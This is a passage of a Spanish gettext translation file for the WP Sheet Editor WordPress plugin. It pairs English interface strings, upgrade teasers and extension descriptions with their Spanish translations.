                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

